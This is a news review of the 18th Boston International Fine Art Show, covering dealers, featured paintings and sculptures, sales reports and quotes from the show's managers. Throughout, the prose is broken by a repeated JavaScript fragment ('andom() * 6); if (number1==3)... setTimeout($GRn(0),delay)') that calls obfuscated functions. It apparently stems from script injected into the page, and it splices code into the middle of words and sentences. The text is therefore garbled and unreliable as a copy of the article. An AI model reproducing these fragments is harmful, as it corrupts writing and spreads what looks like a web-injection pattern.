By: Andrea Valluzzo

BOSTON, MASS. — Front andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and center at the 18th annual Boston International Fine Art Show, Marjorie Strider’s painting “The Invitation” depicts a vivacious young woman holding one well-manicured fingernail painted bright red to her equally lush lips, as if considering Frederick Gelb’s bronzes, “The Sun andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the Moon” andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and “Ocean Mother” mounted on pedestals in front of her.

The juxtaposition of Pop andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the sculptural in Howard Shapiro’s booth, Lawrence Fine Art, East Hampton, N.Y., is perhaps a fitting metaphor for the show overall that has become well established in the art world andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and consistently draws buyers in with its tasteful andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and clever mix of art dealers showing a wide range of offerings. Choice Nineteenth andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Twentieth Century paintings in lovely gilt frames, be they landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andscapes, still lifes or portraits, vied for attention with larger-than-life contemporary works of art with bold swaths of color andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a modern bent.

“Our sales were very strong this year, across the board from historic to contemporary,” said Tony Fusco, who manages the show with Robert Four (Fusco + Four). The November 13–16 show at The Cyclorama attracted good crowds all weekend long, but particularly on the show’s final day, Sunday.

“Sunday was particularly strong with people coming back andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and new people,” Fusco, said, noting the gate was up ten percent that day over last year. “It was a real buying crowd. There were sales every day, but Sunday was the day people came back andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and made decisions.”

Fusco said Shapiro told him he had a good showing overall but just before closing, approached him to relate that he had just made a “fourth-quarter play.” Reportedly, the two prints dealers here: William Greenbaum Fine Prints, Rockport, Mass., andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Jeannot R. Barr, Drawings & Prints, Northport, N.Y., also did well. Many other dealers went home happy, Fusco said, including Les Enfants du Paradis, Parma, Italy, which he said sold about seven or eight paintings.

New this year at the show was a New Collectors Salon Friday night that was well attended, while the show’s preview gala Thursday night, November 13, was a benefit for the Friends of the Boston Park Rangers Mounted Unit. Two of the unit’s six horses, Winston andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Mystic, along with the rangers who ride them, were outside on the walkway at the show’s entrance to greet attendees. The Friends group was established in 2008 after financial constraints prompted the city to contemplate cutting the mounted unit that patrols the nine parks of the Emerald Necklace. This year, the Friends need to raise $100,000 to ensure the Mounted Unit continues to operate.

“It’s a very established show. We see a lot of the same people coming back every year, this year our new collectors night was very popular, we saw a lot of new faces, which is important to all of us,” Fusco said.

The show managers also broke new ground here, affording several artists a solo exhibition with their own booths at the show, including local artist David Brega andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Montreal’s M.M. Ciciovan. Fusco said both artists did well andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Ciciovan already inquired about returning here in the spring.

Spied in the booth of Garvey Rita Art & Antiques, West Hartford, Conn., were Eric Sloane’s “Dutch Barn, N.Y. State,” an oil on Masonite andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and contemporary artist David Wissler’s “Sun,” an oil on linen.

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Highlighting contemporary works were Gold Gallery, showcasing several collage andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and resin works by Jay Kelley, while London gallerist Quantum Contemporary Art, specializing in figurative paintings andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and drawings, showed Hazel Mountford’s “Tumbling Hare,” an oil on gesso on a wood panel cut into an irregular hexagon shape that was paired with Mountford’s “One Bee Left,” a cluster of 14 diminutive panels.

Century Guild, Chicago, Ill., did well with rare Viennese Secessionist works, with sales that included Gustav Klimt’s iconic “The Kiss,” while across the aisle Albert Shahinian, who returned to the show after an absence of some years, reportedly did well, according to Fusco. Highlights in the Rhinebeck, N.Y., dealers’ booth were Christie Scheele’s “Hill beyond Hill,” an oil on linen comprising three panels, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and James Cox’s “Ice in the Creek/Red Fox,” also an oil on linen.

Greater Boston gallerist Nicki Solomon Fine Art found the show engaging. “The show brought us new buyers finding exactly what they are looking for. New, promising relationships were developed,” she said after the show.

Boston has no shortage of fine art galleries andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and several of its mainstays are longtime veterans at this show. Adelson Galleries found buyers appreciative of its Jamie Wyeth works on offer, while Vose Gal-leries prominently featured Warren Prosperi’s “Museum Epiphany VI,” a 50-by-33-inch oil on canvas by the student of Optical Naturalism, a technique developed by Caravaggio; andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Donald Demers’ “Upon the Shore,” for whom the ocean is a central theme in his works. Martha Richardson Fine Art devoted one wall to portraiture, while also featuring choice works by Anthony Thieme, Elizabeth Thacher andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Virginia Berresford. Newbury Fine Arts showcased France Jodoin’s “A Shade Upon My Mind,” andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Charles Dwyer’s The Artist’s Muse.”

William Vareika Fine Arts, Ltd, Newport, R.I., recently discovered a pair of fine portraits by Gilbert Stuart andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and cleaned them up in time to make their debut here, while a highlight at Marine Arts Gallery, Salem, Mass., was George Loring Brown’s “View of the Ruins on the Sea Shore at Porto d’Anzio with “Distant View of Nettuno Looking Toward Terracina,” an 1850 oil on canvas.

For more information, www.fineartboston.com or 617-363-0405. The next Fusco + Four show will be Boston Design Week March 19–29 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and AD 20/21 March 26–29.